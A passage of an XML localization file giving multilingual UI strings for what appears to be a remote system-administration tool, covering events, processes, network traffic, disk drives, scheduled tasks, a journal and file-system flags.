<ko>시스템 정보를 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view system information.</en-gb>
<hu>Önnek nincs jogosultsága a rendszer-információk megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir informações do sistema.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de systeemgegevens weer te geven.</nl>
</msg>
<msg name="EVT.TITLE">
<en>Events</en>
<es>Sucesos</es>
<fr>Evénements</fr>
<de>Ereignisse</de>
<it>Eventi</it>
<ru>События</ru>
<ja>イベント</ja>
<zh>事件</zh>
<ko>이벤트</ko>
<en-gb>Events</en-gb>
<hu>Események</hu>
<pt-br>Eventos</pt-br>
<nl>Gebeurtenissen</nl>
</msg>
<msg name="EVT.TITLE.TIP">
<en>View complete history</en>
<es>Ver el historial completo</es>
<fr>Voir l'historique complet</fr>
<de>Vollständigen Verlauf anzeigen</de>
<it>Visualizza cronologia completa</it>
<ru>Просмотреть все хронологические данные</ru>
<ja>すべての履歴を表示</ja>
<zh>查看完整历史记录</zh>
<ko>전체 내역 보기</ko>
<en-gb>View complete history</en-gb>
<hu>Teljes előzmény megtekintése</hu>
<pt-br>Exibir histórico completo</pt-br>
<nl>Volledige historiek weergeven</nl>
</msg>
<msg name="EVT.FILTER">
<en>Set filter</en>
<es>Establecer filtro</es>
<fr>Définir le filtre</fr>
<de>Filter einrichten</de>
<it>Imposta filtro</it>
<ru>Установить фильтр</ru>
<ja>フィルタを設定</ja>
<zh>设置过滤器</zh>
<ko>필터 설정</ko>
<en-gb>Set filter</en-gb>
<hu>Szűrő beállítása</hu>
<pt-br>Definir filtro</pt-br>
<nl>Filter instellen</nl>
</msg>
<msg name="EVT.FILTER.TIP">
<en>Set filter</en>
<es>Establecer filtro</es>
<fr>Définir le filtre</fr>
<de>Filter einrichten</de>
<it>Imposta filtro</it>
<ru>Установить фильтр</ru>
<ja>フィルタを設定</ja>
<zh>设置过滤器</zh>
<ko>필터 설정</ko>
<en-gb>Set filter</en-gb>
<hu>Szűrő beállítása</hu>
<pt-br>Definir filtro</pt-br>
<nl>Filter instellen</nl>
</msg>
<msg name="EVT.NORIGHT">
<en>You don't have rights to view system events.</en>
<es>No tiene los derechos necesarios para ver los sucesos del sistema.</es>
<fr>Vous n'avez pas les droits pour voir les événement systèmes.</fr>
<de>Sie haben keine Berechtigungen für die Anzeige der Systemereignisse.</de>
<it>Non si dispone dei diritti necessari per visualizzare gli eventi del sistema.</it>
<ru>У Вас нет прав на просмотр системных событий.</ru>
<ja>システム イベントを閲覧する権限がありません。</ja>
<zh>您无权查看系统事件。</zh>
<ko>시스템 이벤트를 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view system events.</en-gb>
<hu>Önnek nincs jogosultsága a rendszer-események megtekintéséhez</hu>
<pt-br>Você não tem direitos para exibir eventos do sistema.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de systeemgebeurtenissen weer te geven.</nl>
</msg>
<msg name="PROC.TITLE">
<en>Processes</en>
<de>Prozesse</de>
<es>Procesos</es>
<fr>Processus</fr>
<it>Processi</it>
<ru>Процессы</ru>
<ja>プロセス</ja>
<zh>进程</zh>
<ko>프로세스</ko>
<en-gb>Processes</en-gb>
<hu>Folyamatok</hu>
<pt-br>Processos</pt-br>
<nl>Processen</nl>
</msg>
<msg name="PROC.TITLE.TIP">
<en>View full list</en>
<es>Ver lista completa</es>
<fr>Voir la liste entière</fr>
<de>Vollständige Liste anzeigen</de>
<it>Visualizza elenco completo</it>
<ru>Просмотреть весь список</ru>
<ja>リスト全体を表示</ja>
<zh>查看完整列表</zh>
<ko>전체 목록 보기</ko>
<en-gb>View full list</en-gb>
<hu>Teljes lista megtekintése</hu>
<pt-br>Exibir lista completa</pt-br>
<nl>Volledige lijst weergeven</nl>
</msg>
<msg name="PROC.NORIGHT">
<en>You don't have rights to view system processes.</en>
<es>No tiene los derechos necesarios para ver los procesos del sistema.</es>
<fr>Vous n'avez pas les droits pour voir les processus systèmes.</fr>
<de>Sie haben keine Berechtigungen für die Anzeige der Systemprozesse.</de>
<it>Non si dispone dei diritti necessari per visualizzare i processi del sistema.</it>
<ru>У Вас нет прав на просмотр системных процессов.</ru>
<ja>システム プロセスを閲覧する権限がありません。</ja>
<zh>您无权查看系统进程。</zh>
<ko>시스템 프로세스를 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view system processes.</en-gb>
<hu>Önnek nincs jogosultsága a rendszer-folyamatok megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir processos do sistema.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de systeemprocessen weer te geven.</nl>
</msg>
<msg name="NET.TITLE">
<en>Network Traffic</en>
<de>Netzwerkdatenverkehr</de>
<es>Tráfico de la red</es>
<fr>Trafic de réseau</fr>
<it>Traffico di rete</it>
<ru>Сетевой трафик</ru>
<ja>ネットワーク トラフィック</ja>
<zh>网络流量</zh>
<ko>네트워크 트래픽</ko>
<en-gb>Network Traffic</en-gb>
<hu>Hálózati forgalom</hu>
<pt-br>Tráfego de rede</pt-br>
<nl>Netwerkverkeer</nl>
</msg>
<msg name="NET.TITLE.TIP">
<en>View details</en>
<de>Details anzeigen</de>
<es>Ver detalles</es>
<fr>Voir les détails</fr>
<it>Visualizza dettagli</it>
<ru>Просмотреть сведения</ru>
<ja>詳細を表示</ja>
<zh>查看详细信息</zh>
<ko>자세히 보기</ko>
<en-gb>View details</en-gb>
<hu>Részletek megtekintése</hu>
<pt-br>Exibir detalhes</pt-br>
<nl>Detailgegevens weergeven</nl>
</msg>
<msg name="NET.SOURCE">
<en>Source</en>
<de>Quelle</de>
<es>Origen</es>
<fr>Source</fr>
<it>Origine</it>
<ru>Источник</ru>
<ja>ソース</ja>
<zh>源</zh>
<ko>원본</ko>
<en-gb>Source</en-gb>
<hu>Forrás</hu>
<pt-br>Origem</pt-br>
<nl>Bron</nl>
</msg>
<msg name="NET.MAXIN">
<en>Max Inbound</en>
<de>Max. eingehend</de>
<es>Máx. entrante</es>
<fr>Max Entrant</fr>
<it>Max in ingresso</it>
<ru>Макс. входящих</ru>
<ja>最大インバウンド</ja>
<zh>最大入站</zh>
<ko>최대 인바운드</ko>
<en-gb>Max Inbound</en-gb>
<hu>Maximális befelé jövő</hu>
<pt-br>Entrada máxima</pt-br>
<nl>Max. binnenkomend verkeer</nl>
</msg>
<msg name="NET.MAXOUT">
<en>Max Outbound</en>
<de>Max. ausgehend</de>
<es>Máx. saliente</es>
<fr>Max Sortant</fr>
<it>Max in uscita</it>
<ru>Макс. исходящих</ru>
<ja>最大アウトバウンド</ja>
<zh>最大出站</zh>
<ko>최대 아웃바운드</ko>
<en-gb>Max Outbound</en-gb>
<hu>Maximális kifelé menő</hu>
<pt-br>Saída máxima</pt-br>
<nl>Max. uitgaand verkeer</nl>
</msg>
<msg name="NET.FREQ">
<en>Level of Detail</en>
<es>Nivel de detalle</es>
<de>Detailstufe</de>
<fr>Niveau de détail</fr>
<it>Livello di dettaglio</it>
<ru>Уровень сведений</ru>
<ja>詳細レベル</ja>
<zh>详细程度</zh>
<ko>세부사항 단계</ko>
<en-gb>Level of Detail</en-gb>
<hu>Részletezés szintje</hu>
<pt-br>Nível de detalhe</pt-br>
<nl>Detailniveau</nl>
</msg>
<msg name="NET.NORIGHT">
<en>You don't have rights to view network traffic.</en>
<es>No tiene los derechos necesarios para ver el tráfico de la red.</es>
<fr>Vous n'avez pas les droits pour voir le trafic réseau.</fr>
<de>Sie haben keine Berechtigungen für die Anzeige des Netzwerkdatenverkehrs.</de>
<it>Non si dispone dei diritti necessari per visualizzare il traffico di rete.</it>
<ru>У Вас нет прав на просмотр сетевого трафика.</ru>
<ja>ネットワーク トラフィックを閲覧する権限がありません。</ja>
<zh>您无权查看网络流量。</zh>
<ko>네트워크 트래픽을 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view network traffic.</en-gb>
<hu>Önnek nincs jogosultsága a hálózati forgalom megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir o tráfego de rede.</pt-br>
<nl>U beschikt niet over de vereiste rechten om het netwerkverkeer weer te geven.</nl>
</msg>
<msg name="DRIVE.TITLE">
<en>Disk Drives</en>
<es>Unidades de disco</es>
<fr>Unités de Disques</fr>
<de>Laufwerke</de>
<it>Unità disco</it>
<ru>Дисководы</ru>
<ja>ディスク ドライブ</ja>
<zh>磁盘驱动器</zh>
<ko>디스크 드라이브</ko>
<en-gb>Disk Drives</en-gb>
<hu>Lemezmeghajtók</hu>
<pt-br>Unidades de disco</pt-br>
<nl>Schijfstations</nl>
</msg>
<msg name="DRIVE.TITLE.TIP">
<en>View details</en>
<de>Details anzeigen</de>
<es>Ver detalles</es>
<fr>Voir les détails</fr>
<it>Visualizza dettagli</it>
<ru>Просмотреть сведения</ru>
<ja>詳細を表示</ja>
<zh>查看详细信息</zh>
<ko>자세히 보기</ko>
<en-gb>View details</en-gb>
<hu>Részletek megtekintése</hu>
<pt-br>Exibir detalhes</pt-br>
<nl>Detailgegevens weergeven</nl>
</msg>
<msg name="DRIVE.NORIGHT">
<en>You don't have rights to view disk drives.</en>
<es>No tiene los derechos necesarios para ver las unidades de disco.</es>
<fr>Vous n'avez pas les droits pour voir les unités de disques</fr>
<de>Sie haben keine Berechtigungen für die Anzeige der Laufwerke.</de>
<it>Non si dispone dei diritti necessari per visualizzare le unità disco.</it>
<ru>У Вас нет прав на просмотр дисководов.</ru>
<ja>ディスク ドライブを閲覧する権限がありません。</ja>
<zh>您无权查看磁盘驱动器。</zh>
<ko>디스크 드라이브를 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view disk drives.</en-gb>
<hu>Önnek nincs jogosultsága a lemezmeghajtók megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir unidades de disco.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de schijfstations weer te geven.</nl>
</msg>
<msg name="SCHED.TITLE">
<en>Scheduled Tasks</en>
<es>Tareas programadas</es>
<fr>Tâches planifiées</fr>
<de>Geplante Tasks</de>
<it>Attività pianificate</it>
<ru>Запланированные задачи</ru>
<ja>スケジュール済みタスク</ja>
<zh>计划的任务</zh>
<ko>예약된 작업</ko>
<en-gb>Scheduled Tasks</en-gb>
<hu>Ütemezett feladatok</hu>
<pt-br>Tarefas programadas</pt-br>
<nl>Geplande taken</nl>
</msg>
<msg name="SCHED.TITLE.TIP">
<en>View full list</en>
<es>Ver lista completa</es>
<fr>Voir la liste entière</fr>
<de>Vollständige Liste anzeigen</de>
<it>Visualizza elenco completo</it>
<ru>Просмотреть весь список</ru>
<ja>リスト全体を表示</ja>
<zh>查看完整列表</zh>
<ko>전체 목록 보기</ko>
<en-gb>View full list</en-gb>
<hu>Teljes lista megtekintése</hu>
<pt-br>Exibir lista completa</pt-br>
<nl>Volledige lijst weergeven</nl>
</msg>
<msg name="SCHED.LASTN">
<en>Last</en>
<de>Letzte</de>
<fr>Dernier</fr>
<es>Última</es>
<it>Ultima</it>
<ru>Последний</ru>
<ja>最後の</ja>
<zh>最后一个</zh>
<ko>마지막</ko>
<en-gb>Last</en-gb>
<hu>Utolsó</hu>
<pt-br>Últimos</pt-br>
<nl>Laatste</nl>
</msg>
<msg name="SCHED.NONE">
<en>There are no scheduled tasks.</en>
<es>No existen tareas programadas.</es>
<fr>Il n'y a pas de tâches planifiées</fr>
<de>Es liegen keine geplanten Tasks vor.</de>
<it>Nessuna attività pianificata.</it>
<ru>Запланированных задач нет.</ru>
<ja>スケジュール済みタスクはありません。</ja>
<zh>没有计划的任务。</zh>
<ko>예약된 작업이 없습니다.</ko>
<en-gb>There are no scheduled tasks.</en-gb>
<hu>Nincsenek ütemezett feladatok.</hu>
<pt-br>Não há tarefas programadas.</pt-br>
<nl>Er zijn geen geplande taken.</nl>
</msg>
<msg name="SCHED.NORIGHT">
<en>You don't have rights to view scheduled tasks.</en>
<es>No tiene los derechos necesarios para ver las tareas programadas.</es>
<fr>Vous n'avez pas les droits pour voir les tâches planifiées</fr>
<de>Sie haben keine Berechtigungen für die Anzeige der geplanten Tasks.</de>
<it>Non si dispone dei diritti necessari per visualizzare le attività pianificate.</it>
<ru>У Вас нет прав на просмотр запланированных задач.</ru>
<ja>スケジュール済みタスクを閲覧する権限がありません。</ja>
<zh>您无权查看计划的任务。</zh>
<ko>예약된 작업을 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view scheduled tasks.</en-gb>
<hu>Önnek nincs jogosultsága az ütemezett feladatok megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir tarefas programadas.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de geplande taken weer te geven.</nl>
</msg>
<msg name="JOURNAL.TITLE">
<en>Journal</en>
<de>Journal</de>
<es>Diario</es>
<fr>Journal</fr>
<it>Diario</it>
<ru>Журнал</ru>
<ja>ジャーナル</ja>
<zh>日记</zh>
<ko>저널</ko>
<en-gb>Journal</en-gb>
<hu>Napló</hu>
<pt-br>Diário</pt-br>
<nl>Logboek</nl>
</msg>
<msg name="JOURNAL.TITLE.TIP">
<en>View all journal entries</en>
<es>Ver todas las entradas de diario</es>
<de>Alle Journaleinträge anzeigen</de>
<fr>Afficher toutes les entrées du journal</fr>
<it>Visualizza tutte le voci del diario</it>
<ru>Просмотреть все записи журнала</ru>
<ja>すべてのジャーナル エントリを表示</ja>
<zh>查看所有日记条目</zh>
<ko>모든 저널 항목 보기</ko>
<en-gb>View all journal entries</en-gb>
<hu>Az összes naplóbejegyzés megtekintése</hu>
<pt-br>Exibir todas as entradas do diário</pt-br>
<nl>Alles logboekitems weergeven</nl>
</msg>
<msg name="JOURNAL.EMPTY">
<en>The journal is currently empty.</en>
<es>El diario está vacío actualmente.</es>
<de>Das Journal ist derzeit leer.</de>
<fr>Le journal est vide.</fr>
<it>Il diario è vuoto.</it>
<ru>В настоящее время журнал пуст.</ru>
<ja>現在ジャーナルは空です。</ja>
<zh>当前日记为空。</zh>
<ko>저널이 현재 비어 있습니다.</ko>
<en-gb>The journal is currently empty.</en-gb>
<hu>A napló jelenleg üres</hu>
<pt-br>O diário está vazio no momento.</pt-br>
<nl>Het logboek is op dit ogenblik leeg.</nl>
</msg>
<msg name="JOURNAL.USER">
<en>User</en>
<es>Usuario</es>
<de>Benutzer</de>
<fr>Utilisateur</fr>
<it>Utente</it>
<ru>Пользователь</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>User</en-gb>
<hu>Felhasználó</hu>
<pt-br>Usuário</pt-br>
<nl>Gebruiker</nl>
</msg>
<msg name="JOURNAL.NOTE">
<en>Note</en>
<de>Anmerkung</de>
<es>Nota</es>
<fr>Note</fr>
<it>Nota</it>
<ru>Примечание</ru>
<ja>ノート</ja>
<zh>注意</zh>
<ko>참고</ko>
<en-gb>Note</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Observação</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="JOURNAL.DATE">
<en>Date</en>
<de>Datum</de>
<es>Fecha</es>
<fr>Date</fr>
<it>Data</it>
<ru>Дата</ru>
<ja>日付</ja>
<zh>日期</zh>
<ko>날짜</ko>
<en-gb>Date</en-gb>
<hu>Dátum</hu>
<pt-br>Data</pt-br>
<nl>Datum</nl>
</msg>
<msg name="JOURNAL.NORIGHT">
<en>You don't have rights to view the journal.</en>
<es>No tiene los derechos necesarios para ver el diario.</es>
<de>Sie haben keine Berechtigungen für die Anzeige des Journals.</de>
<fr>Vous ne disposez pas des droits pour afficher le journal.</fr>
<it>Non si dispone dei diritti necessari per visualizzare il diario.</it>
<ru>У Вас нет прав на просмотр данного журнала.</ru>
<ja>ジャーナルを閲覧する権限がありません。</ja>
<zh>您无权查看日记。</zh>
<ko>저널을 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view the journal.</en-gb>
<hu>Önnek nincs jogosultsága a napló megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir o diário.</pt-br>
<nl>U beschikt niet over de vereiste rechten om het logboek weer te geven.</nl>
</msg>
<msg name="JOURNAL.HINT">
<en>Type your entry here.</en>
<es>Escriba su entrada aquí.</es>
<de>Geben Sie den Eintrag hier ein.</de>
<fr>Saisissez votre entrée ici.</fr>
<it>Digitare la voce qui.</it>
<ru>Введите свою запись здесь.</ru>
<ja>ここにエントリを入力してください。</ja>
<zh>请在此键入条目。</zh>
<ko>여기에 항목을 입력하십시오.</ko>
<en-gb>Type your entry here.</en-gb>
<hu>Írja be ide a bejegyzését.</hu>
<pt-br>Digite sua entrada aqui.</pt-br>
<nl>Voer hier uw item in.</nl>
</msg>
<msg name="RECENT.TITLE.TIP">
<en>View system information</en>
<de>Systeminformationen anzuzeigen</de>
<es>Ver información del sistema</es>
<fr>Voir Informations sur le système</fr>
<it>Visualizza informazioni sul sistema</it>
<ru>Просмотреть системную информацию</ru>
<ja>システム情報を表示</ja>
<zh>查看系统信息</zh>
<ko>시스템 정보 보기</ko>
<en-gb>View system information</en-gb>
<hu>Rendszer-információk megtekintése</hu>
<pt-br>Exibir informações do sistema</pt-br>
<nl>Systeeminformatie weergeven</nl>
</msg>
<msg name="RECENT.NORIGHT">
<en>You don't have rights to view recent accesses.</en>
<es>No tiene los derechos necesarios para ver los accesos recientes.</es>
<de>Sie haben keine Berechtigungen für die Anzeige der Elemente, auf die zuletzt zugegriffen wurde.</de>
<fr>Vous ne disposez pas des droits pour afficher les accès récents.</fr>
<it>Non si dispone dei diritti necessari per visualizzare gli accessi recenti.</it>
<ru>У Вас нет прав на просмотр информацию о последних попытках доступа.</ru>
<ja>最近のアクセスを閲覧する権限がありません。</ja>
<zh>您无权查看最近访问记录。</zh>
<ko>최근 액세스를 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view recent accesses.</en-gb>
<hu>Önnek nincs jogosultsága a legutóbbi hozzáférések megtekintéséhez</hu>
<pt-br>Você não tem direitos para exibir acessos recentes.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de recente toegangssessies weer te geven.</nl>
</msg>
<msg name="HOTFIX.TITLE.TIP">
<en>View system information</en>
<de>Systeminformationen anzuzeigen</de>
<es>Ver información del sistema</es>
<fr>Voir Informations sur le système</fr>
<it>Visualizza informazioni sul sistema</it>
<ru>Просмотреть системную информацию</ru>
<ja>システム情報を表示</ja>
<zh>查看系统信息</zh>
<ko>시스템 정보 보기</ko>
<en-gb>View system information</en-gb>
<hu>Rendszer-információk megtekintése</hu>
<pt-br>Exibir informações do sistema</pt-br>
<nl>Systeeminformatie weergeven</nl>
</msg>
<msg name="HOTFIX.NORIGHT">
<en>You don't have rights to view installed hotfixes.</en>
<es>No tiene los derechos necesarios para ver los hotfixes instalados.</es>
<de>Sie haben keine Berechtigungen für die Anzeige der installierten Hotfixes.</de>
<fr>Vous ne disposez pas des droits pour afficher les corrections dynamiques installées.</fr>
<it>Non si dispone dei diritti necessari per visualizzare le correzioni installate.</it>
<ru>У Вас нет прав на просмотр установленных исправлений.</ru>
<ja>インストール済みホットフィックスを閲覧する権限がありません。</ja>
<zh>您无权查看已安装的修补程序。</zh>
<ko>설치된 hotfix를 볼 수 있는 권한이 없습니다.</ko>
<en-gb>You don't have rights to view installed hotfixes.</en-gb>
<hu>Önnek nincs jogosultsága a telepített gyorsjavítások megtekintéséhez.</hu>
<pt-br>Você não tem direitos para exibir hotfixes instalados.</pt-br>
<nl>U beschikt niet over de vereiste rechten om de geïnstalleerde softwarehotfixes weer te geven.</nl>
</msg>
</cat>
<!-- "drive list" messages -->
<cat name="DRIVE">
<msg name="VOL">
<en>Volume Name</en>
<de>Datenträgerbezeichnung</de>
<es>Nombre del volumen</es>
<fr>Nom du volume</fr>
<it>Nome volume</it>
<ru>Имя тома</ru>
<ja>ボリューム名</ja>
<zh>卷名</zh>
<ko>볼륨 이름</ko>
<en-gb>Volume Name</en-gb>
<hu>Kötet neve</hu>
<pt-br>Nome do volume</pt-br>
<nl>Volumenaam</nl>
</msg>
<msg name="SN">
<en>Volume Serial Number</en>
<de>Seriennummer des Datenträgers</de>
<es>Número de serie del volumen</es>
<fr>Numéro de série du volume</fr>
<it>Numero di serie del volume</it>
<ru>Серийный номер тома</ru>
<ja>ボリューム シリアル番号</ja>
<zh>卷序列号</zh>
<ko>볼륨 일련 번호</ko>
<en-gb>Volume Serial Number</en-gb>
<hu>Kötet sorozatszáma</hu>
<pt-br>Número de série do volume</pt-br>
<nl>Serienummer van volume</nl>
</msg>
<msg name="FILESYS">
<en>File System</en>
<de>Dateisystem</de>
<es>Sistema de archivos</es>
<fr>File System</fr>
<it>File system</it>
<ru>Файловая система</ru>
<ja>ファイル システム</ja>
<zh>文件系统</zh>
<ko>파일 시스템</ko>
<en-gb>File System</en-gb>
<hu>Fájlrendszer</hu>
<pt-br>Sistema de arquivo</pt-br>
<nl>Bestandssysteem</nl>
</msg>
<msg name="NODISK">
<en>No disk in drive</en>
<de>Kein Datenträger im Laufwerk</de>
<es>No hay disco en la unidad</es>
<fr>Aucun disque dans le lecteur</fr>
<it>Nessun disco nell'unità</it>
<ru>В дисководе нет диска</ru>
<ja>ドライブにディスクがありません</ja>
<zh>驱动器中无磁盘</zh>
<ko>드라이브에 디스크가 없음</ko>
<en-gb>No disk in drive</en-gb>
<hu>Nincs lemez a meghajtóban</hu>
<pt-br>Sem unidade de disco</pt-br>
<nl>Geen schijf in station aanwezig</nl>
</msg>
<msg name="ATTR">
<en>Attributes</en>
<de>Attribute</de>
<es>Atributos</es>
<fr>Attributs</fr>
<it>Attributi</it>
<ru>Атрибуты</ru>
<ja>属性</ja>
<zh>属性</zh>
<ko>특성</ko>
<en-gb>Attributes</en-gb>
<hu>Attribútumok</hu>
<pt-br>Atributos</pt-br>
<nl>Kenmerken</nl>
</msg>
<msg name="ATTRSET">
<en>Setting file attributes for these files/directories</en>
<de>Setzt Dateiattribute für diese Dateien/Verzeichnisse</de>
<es>Establecer atributos para estos archivos/directorios</es>
<fr>Réglage des attributs de dossier pour ces fichiers/répertoires</fr>
<it>Impostazione degli attributi di file per questi file/directory</it>
<ru>Установка файловых атрибутов для этих файлов/каталогов</ru>
<ja>これらのファイルおよびディレクトリのファイル属性を設定しています</ja>
<zh>设置这些文件/目录的文件属性</zh>
<ko>이 파일/디렉터리에 대한 파일 특성 설정</ko>
<en-gb>Setting file attributes for these files/directories</en-gb>
<hu>Fájl-attribútumok beállítása ezekhez a fájlokhoz/könyvtárakhoz</hu>
<pt-br>Definindo atributos de arquivo para estes arquivos/diretórios</pt-br>
<nl>Bezig met instellen van bestandskenmerken voor deze bestanden/mappen</nl>
</msg>
<msg name="SOMEBODYSDESK">
<en>%GLBDESKITEMS.OWNER's Desktop</en>
<es>%GLBDESKITEMS.Escritorio de OWNER's</es>
<de>Desktop von %GLBDESKITEMS.OWNER</de>
<fr>Bureau de %GLBDESKITEMS.OWNER</fr>
<it>Desktop di %GLBDESKITEMS.OWNER</it>
<ru>Рабочий стол %GLBDESKITEMS.OWNER</ru>
<ja>%GLBDESKITEMS.OWNER のデスクトップ</ja>
<zh>%GLBDESKITEMS.OWNER 的桌面</zh>
<ko>%GLBDESKITEMS.OWNER의 데스크톱</ko>
<en-gb>%GLBDESKITEMS.OWNER's Desktop</en-gb>
<hu>%GLBDESKITEMS.OWNER asztala</hu>
<pt-br>Desktop do %GLBDESKITEMS.OWNER</pt-br>
<nl>%GLBDESKITEMS.OWNER's Bureaublad</nl>
</msg>
<msg name="SOMEBODYSDOCS">
<en>%GLBDESKITEMS.OWNER's Documents</en>
<es>%GLBDESKITEMS.Documentos de OWNER's</es>
<de>Dokumente von %GLBDESKITEMS.OWNER</de>
<fr>Documents de %GLBDESKITEMS.OWNER</fr>
<it>Documenti di %GLBDESKITEMS.OWNER</it>
<ru>Документы %GLBDESKITEMS.OWNER</ru>
<ja>%GLBDESKITEMS.OWNER のドキュメント</ja>
<zh>%GLBDESKITEMS.OWNER 的文档</zh>
<ko>%GLBDESKITEMS.OWNER의 문서</ko>
<en-gb>%GLBDESKITEMS.OWNER's Documents</en-gb>
<hu>%GLBDESKITEMS.OWNER dokumentumai</hu>
<pt-br>Documentos do %GLBDESKITEMS.OWNER</pt-br>
<nl>%GLBDESKITEMS.OWNER's Documenten</nl>
</msg>
<cat name="FLAGS">
<!-- file system flags (appear in file manager's drive list tooltips) -->
<msg name="MAXN">
<en>Maximum file name length is %DRIVE.MAXN characters</en>
<de>Die max. Länge des Dateinamens beträgt %DRIVE.MAXN Zeichen</de>
<es>El nombre de archivo puede tener como máximo %DRIVE.MAXN caracteres</es>
<fr>La longueur maximum du nom de fichier est de %DRIVE.MAXN caractères</fr>
<it>Il nome del file può essere composto al massimo da %DRIVE.MAXN caratteri</it>
<ru>Максимальная длина имени файла - %DRIVE.MAXN символов</ru>
<ja>ファイル名の長さは最大 %DRIVE.MAXN 文字です。</ja>
<zh>文件名最长可为 %DRIVE.MAXN 个字符</zh>
<ko>최대 파일 이름 길이는 %DRIVE.MAXN자입니다</ko>
<en-gb>Maximum file name length is %DRIVE.MAXN characters</en-gb>
<hu>A maximális fájlnév-hossz %DRIVE.MAXN karakter</hu>
<pt-br>O tamanho máximo do nome do arquivo é de %DRIVE.MAXN caracteres.</pt-br>
<nl>De maximale lengte voor de bestandsnaam is %DRIVE.MAXN tekens</nl>
</msg>
<msg name="P">
<en>Case is preserved</en>
<de>Groß/Kleinschreibung einbettet</de>
<es>No diferencia mayúsculas</es>
<fr>La casse est conservée</fr>
<it>Conservazione maiuscole/minuscole</it>
<ru>Регистр не меняется</ru>
<ja>大文字と小文字を保存します</ja>
<zh>保留大小写</zh>
<ko>대/소문자를 구분합니다</ko>
<en-gb>Case is preserved</en-gb>
<hu>Kis- és nagybetűk megtartása</hu>
<pt-br>Caso preservado</pt-br>
<nl>Hoofdletters en kleine letters blijven behouden</nl>
</msg>
<msg name="K">
<en>Case sensitive</en>
<de>Groß/Kleinschreibung beachten</de>
<es>Diferencia mayúsculas</es>
<fr>Casse sensible (minuscule/majuscule)</fr>
<it>Maiuscole/minuscole</it>
<ru>С учетом регистра</ru>
<ja>大文字と小文字を区別します</ja>
<zh>区分大小写</zh>
<ko>대/소문자 구분</ko>
<en-gb>Case sensitive</en-gb>
<hu>Kis- és nagybetű különbözik</hu>
<pt-br>Diferencia maiúsculas de minúsculas</pt-br>
<nl>Hoofdlettergevoelig</nl>
</msg>
<msg name="U">
<en>Supports Unicode</en>
<de>Unicode unterstützt</de>
<es>Compatible con Unicode</es>
<fr>Support Unicode</fr>
<it>Supporta Unicode</it>
<ru>Поддерживает уникод</ru>
<ja>Unicode をサポートします</ja>
<zh>支持 Unicode</zh>
<ko>유니코드 지원</ko>
<en-gb>Supports Unicode</en-gb>
<hu>Unicode kódolást támogat</hu>
<pt-br>Suporta unicode</pt-br>
<nl>Biedt ondersteuning voor Unicode</nl>
</msg>
<msg name="A">
<en>Persistent ACLs</en>
<de>ACLs beibehalten</de>
<es>ACLs persistentes</es>
<fr>ACL persistants</fr>
<it>ACL persistenti</it>
<ru>Постоянные ACL</ru>
<ja>永続的 ACL</ja>
<zh>持久性 ACL</zh>
<ko>영구적 ACL</ko>
<en-gb>Persistent ACLs</en-gb>
<hu>Állandó ACL-ek</hu>
<pt-br>ACLS persistentes</pt-br>
<nl>Continue ACL's (toegangsbesturingslijsten - Access Control Lists)</nl>
</msg>
<msg name="M">
<en>Supports file compression</en>
<de>Dateikompression unterstützt</de>
<es>Compatible con compresión de archivos</es>
<fr>Supporte la compression de fichier</fr>
<it>Supporta la compressione dei file</it>
<ru>Поддерживает сжатие файлов</ru>
<ja>ファイル圧縮をサポートします</ja>
<zh>支持文件压缩</zh>
<ko>파일 압축 지원</ko>
<en-gb>Supports file compression</en-gb>
<hu>Fájltömörítést támogat</hu>
<pt-br>Suporta compactação de arquivo</pt-br>
<nl>Biedt ondersteuning voor bestandscompressie</nl>
</msg>
<msg name="C">
<en>Volume is compressed</en>
<de>Der Datenträger ist komprimiert</de>
<es>Volumen comprimido</es>
<fr>Le volume est compressé</fr>
<it>Il volume è compresso</it>
<ru>Том сжат</ru>
<ja>ボリュームは圧縮されています</ja>
<zh>卷已压缩</zh>
<ko>볼륨이 압축됨</ko>
<en-gb>Volume is compressed</en-gb>
<hu>A kötet tömörített</hu>
<pt-br>Volume compactado</pt-br>
<nl>Station is gecomprimeerd</nl>
</msg>
<msg name="E">
<en>Supports encryption</en>
<de>Verschlüsselung unterstützt</de>
<es>Compatible con cifrado</es>
<fr>Supporte l'encryptage</fr>
<it>Supporta la crittografia</it>
<ru>Поддерживает шифрование</ru>
<ja>暗号化をサポートします</ja>
<zh>支持加密</zh>
<ko>암호화 지원</ko>
<en-gb>Supports encryption</en-gb>
<hu>Támogatja a titkosítást</hu>
<pt-br>Suporta criptografia</pt-br>
<nl>Biedt ondersteuning voor codering</nl>
</msg>
<msg name="O">
<en>Supports object IDs</en>
<de>Objekt IDs unterstützt</de>
<es>Compatible con IDs de objeto</es>
<fr>Supporte les objets ID</fr>
<it>Supporta gli ID degli oggetti</it>
<ru>Поддерживает идентификаторы объектов</ru>
<ja>オブジェクト ID をサポートします</ja>
<zh>支持对象 ID</zh>
<ko>개체 Id 지원</ko>
<en-gb>Supports object IDs</en-gb>
<hu>Támogatja az objektum-azonosítókat</hu>
<pt-br>Suporta IDs de objeto</pt-br>
<nl>Biedt ondersteuning voor object-ID's</nl>
</msg>
<msg name="R">
<en>Supports reparse points</en>
<de>Reparse Points unterstützt</de>
<es>Compatible con puntos dispersos</es>
<fr>Supporte les points reparse (reparse points)</fr>
<it>Supporta i punti di analisi</it>
<ru>Поддерживает точки повторной обработки</ru>
